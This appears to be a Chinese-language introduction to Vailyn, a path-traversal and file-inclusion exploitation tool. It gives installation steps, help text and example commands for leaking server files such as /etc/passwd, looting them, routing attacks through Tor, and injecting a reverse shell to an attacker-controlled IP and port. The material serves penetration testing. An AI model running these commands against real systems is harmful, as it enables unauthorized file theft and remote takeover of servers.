关于VailynVailyn是一个多阶段的漏洞分析和利用工具,可以帮助研究人员分析、识别和利用路径遍历和文件包含漏洞。该工具非常强大,实现了大量的过滤器规避技术。Vailyn分两个阶段运作。首先,它可以尝试访问/etc/passwd或用户指定的文件来检测是否存在漏洞。此时,我们可以自由选择使用哪些有效载荷,在第二阶段,该工具将使用我们选择的有效载荷。第二阶段是利用阶段。现在该工具将尝试使用文件和目录字典从目标服务器中提取所有可能的文件。搜索深度和目录排列级别可以通过参数调整。或者,它可以下载它找到的文件并将它们保存在它的战利品文件夹中。除此之外,Vailyn还试图在目标系统上获得一个反向shell,让攻击者获得对目标服务器的完全控制权。Vailyn当前版本支持多种攻击方式:查询、路径、cookies、POST数据等注入。工具安装建议Vailyn运行环境为Python3.7+,但理论上该工具应该适用于Python3.5或Python3.6环境。如果需要安装Vailyn,可以直接访问项目的【Releases页面】下载工具文档,或者使用以下命令将项目源码克隆到本地:$gitclonehttps://github.com/VainlyStrain/Vailyn下载项目源码后,我们需要安装工具所需的Python依赖。(1)Unix系统在Unix系统上,可以直接运行如下命令:$pipinstall-rrequirements.txt#--user(2)Windows系统在Windows系统上,可以直接使用pip命令安装“Vailyn\·?\requirements-windows.txt”列出依赖组件。(3)最后一步如果要使用反向shell模块的全部功能,我们还需要安装sshpass、ncat和konsole。接下来,我们可以直接运行以下命令来使用Vailyn:$pythonVailyn-h工具提供了三个使用Vailyn的必要参数:-vVIC、-aINT和-p2TPP1P2。如果使用-a参数,可以支持更多的选项。,\/,':.\./\../.:'':;.:\.,:/''./;..::'',':.,.__.''''`:.__:''.:'';..,;'**'.,.:'`v;.;v'o.''..:.''.'':;,''o'.:*|Vailyn|[VainlyStrain]VsyntaVailyn-vVIC-aINT-p2TPP1P2[-pPAM][-iF][-PiVIC2][-cC][-n][-dIJK][-sT][-t][-L][-l][-P][-A]强制:-vVIC,--victimVICTargettoattack,part1[pre-payload]-aINT,--attackINTAttacktype(int,1-5,orA)A|Spider(all)2|Path5|POSTData,jsonP|Spider(partial)3|Cookie1|QueryParameter4|POSTData,plain-p2TPP1P2,--phase2TPP1P2AttackinPhase2,andneededparameters┌[Values]──────────────┬───────────────────┐│TP│P1│P2│├──────────┼──────────────┼────────────────────┤│leak│FileDict│DirectoryDict││inject│IPAddr│ListeningPort││implant│SourceFile│ServerDestination│└────────────┴──────────────┴────────────────────┘additional:-pPAM,--paramPAMqueryparameterorPOSTdatafor--attack1,4,5-iF,--checkFFiletocheckforinPhase1(df:etc/passwd)-PiVIC2,--vic2VIC2AttackTarget,part2[后载荷]-cC,--cookieCCookietoappend(inheaderformat)-l,--lootDownloadfoundfilesintothelootfolder-dIJK,--depthsIJKdepths(I:phase1,J:phase2,K:permutationlevel)-h,--helpshowthishelpmenuandexit-sT,--timeoutTRequestTimeout;Arjun-t的稳定开关,--torPipeattackthroughtheToranonymitynetwork-L,--lfiAdditionallyusePHPwrapperstoleakfiles-n,--nosploitskipPhase2(doesnotneed-p2TPP1P2)-P,--preciseUseexactdepthinPhase1(notarange)-A,--appStartVailyn'sQt5interfacedevelop:--debugDisplayeverypathtried,even404s.--versionPrintprogramversionandexit.--notmainAvoidnotify2crashinsubprocesscall.Info:toleakfilesusingabsolutepaths:-d000togetashellusingabsolutepaths:-d0X0Vailyn当前支持提供了五种攻击向量和自动爬虫我们可以使用-aINT参数来选择要执行的攻击:INTattack------------1query-basedattack(https://site.com?file=../../../)2基于路径的攻击(https://site.com/../../../)3基于cookie的攻击(willgrabthecookiesforyou)4plainpostdata(ELEM1=VAL1&ELEM2=../../../)5jsonpostdata({"file":"../../../"})Aspiderfetch+analyzeallURLsfromsiteusingallvectorsPpartialspiderfetch+analyzeallURLsfromsiteusingonlyselectedvectors工具demo简单查询攻击,第二阶段文件提取:$Vailyn-v"http://site.com/download.php"-a1-p2leakdicts/filesdicts/dirs-pfile-->http://site.com/download.php?file=../INJECT简单查询,但知道file.php已经存在:$Vailyn-v"http://site.com/download.php"-a1-p2leakdicts/filesdicts/dirs-pfile-ifile.php-d2XX-P简单路径攻击:$Vailyn-v"http://site.com/"-a2-p2leakdicts/filesdicts/dirs-->http://site.com/../INJECT路径攻击,但需要查询参数和标签:$Vailyn-v"http://site.com/"-a2-p2leakdicts/filesdicts/dirs-Pi"?token=X#title"-->http://site.com/../INJECT?token=X#titleSimpleCookie攻击命中:$Vailyn-v"http://site.com/cookiemonster.php"-a3-p2leakdicts/filesdicts/dirsPOST普通攻击:$Vailyn-v"http://site.com/download.php"-a4-p2leakdicts/filesdicts/dirs-p"DATA1=xx&DATA2=INJECT"POSTJSON攻击:$Vailyn-v"http://site.com/download.php"-a5-p2leakdicts/filesdicts/dirs-p'{"file":"INJECT"}'攻击,但目标存在登录界面:$Vailyn-v"http://site.com/"-a1-p2leakdicts/filesdicts/dirs-c"sessionid=foobar"攻击,但需要反向Shell(1337端口):$Vailyn-v"http://site.com/download.php"-a1-p2injectMY.IP.IS.XX1337#ahighPhase2Depthisneededforloginjection完全爬虫自动化模式:$Vailyn-v"http://root-url.site”-aA工具演示视频视频地址:【点我观看】项目地址Vailyn:【GitHub传送门】
